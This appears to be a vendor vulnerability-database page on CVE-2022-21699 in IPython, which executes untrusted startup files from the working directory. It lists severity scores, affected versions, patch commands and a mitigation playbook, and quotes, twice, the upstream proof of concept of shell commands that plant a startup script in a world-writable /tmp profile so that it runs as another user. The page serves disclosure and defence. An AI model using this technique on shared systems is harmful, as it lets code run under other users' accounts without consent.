Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

Execution with Unnecessary Privileges in ipythonGHSA-pq7m-3gw7-gq5x

HIGHFix: ipython/ipython@46a51ed

GHSA-pq7m-3gw7-gq5x is a high-severity (CVSS 8.2) CWE-250 vulnerability in ipython. 1 public exploit reference exists, so weaponization risk is real. A fix is available for ipython — see the affected versions and patch details below.

Also known asCVE-2022-21699PYSEC-2022-12
Published
Updated
Affected
4 pkgs
Patched
4 / 4
Exploits
1 known
Exploitation data as of Oct 8, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-pq7m-3gw7-gq5x.

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs50th percentile — riskier than 50% of all scored CVEsHighest risk
0.15%0.77%1.39%2.00%1.4%0.7%Apr 26Aug 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-pq7m-3gw7-gq5x by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 384,534 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

4 pkgs affected
🐍ipython🐍ipython🐍ipython🐍ipython

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another.

Proof of concept

User1:

mkdir -m 777 /tmp/profile_default
mkdir -m 777 /tmp/profile_default/startup
echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/foo.py

User2:

cd /tmp
ipython

User2 will see:

Python 3.9.7 (default, Oct 25 2021, 01:04:21)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.29.0 -- An enhanced Interactive Python. Type '?' for help.
stealing your private secrets

Patched release and documentation

See https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699,

Version 8.0.1, 7.31.1 for current Python version are recommended. Version 7.16.3 has also been published for Python 3.6 users, Version 5.11 (source only, 5.x branch on github) for older Python versions.

Affected Packages

4 total 4 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIipythonall versions5.11pip install --upgrade 'ipython==5.11'
🐍PyPIipython≥ 6.0.0&&< 7.16.37.16.3pip install --upgrade 'ipython==7.16.3'
🐍PyPIipython≥ 7.17.0&&< 7.31.17.31.1pip install --upgrade 'ipython==7.31.1'
🐍PyPIipython≥ 8.0.0&&< 8.0.18.0.1pip install --upgrade 'ipython==8.0.1'

Affected Products

3 products · 9 configurations
OS
debian linuxdebian
3 versions
9.010.011.0
OS
fedorafedoraproject
2 versions
3435
Application
ipythonipython
≥ 8.0.0 && ≤ 5.10.0
range
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ipython, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update ipython to 5.11 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-pq7m-3gw7-gq5x is resolved across your whole dependency graph.

  3. Workarounds

    Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs — a default left in place is what makes this reachable.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Frequently Asked Questions

We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another. Proof of concept User1: ``` mkdir -m 777 /tmp/profile_default mkdir -m 777 /tmp/profile_default/startup echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/foo.py ``` User2: ``` cd /tmp ipython ``` User2 will see: ``` Python 3.9.7 (default, Oct 25 2021, 01:04:21) Type 'copyright', 'credits' or 'license' for more information IPython 7.29.0 -- An enhanced Interactive Python.
O3 Security · Impact-Aware SCA

Is GHSA-pq7m-3gw7-gq5x in your dependencies?

Find it across PyPI, including transitive dependencies.

Execution with Unnecessary Privileges in ipython (High 8.2)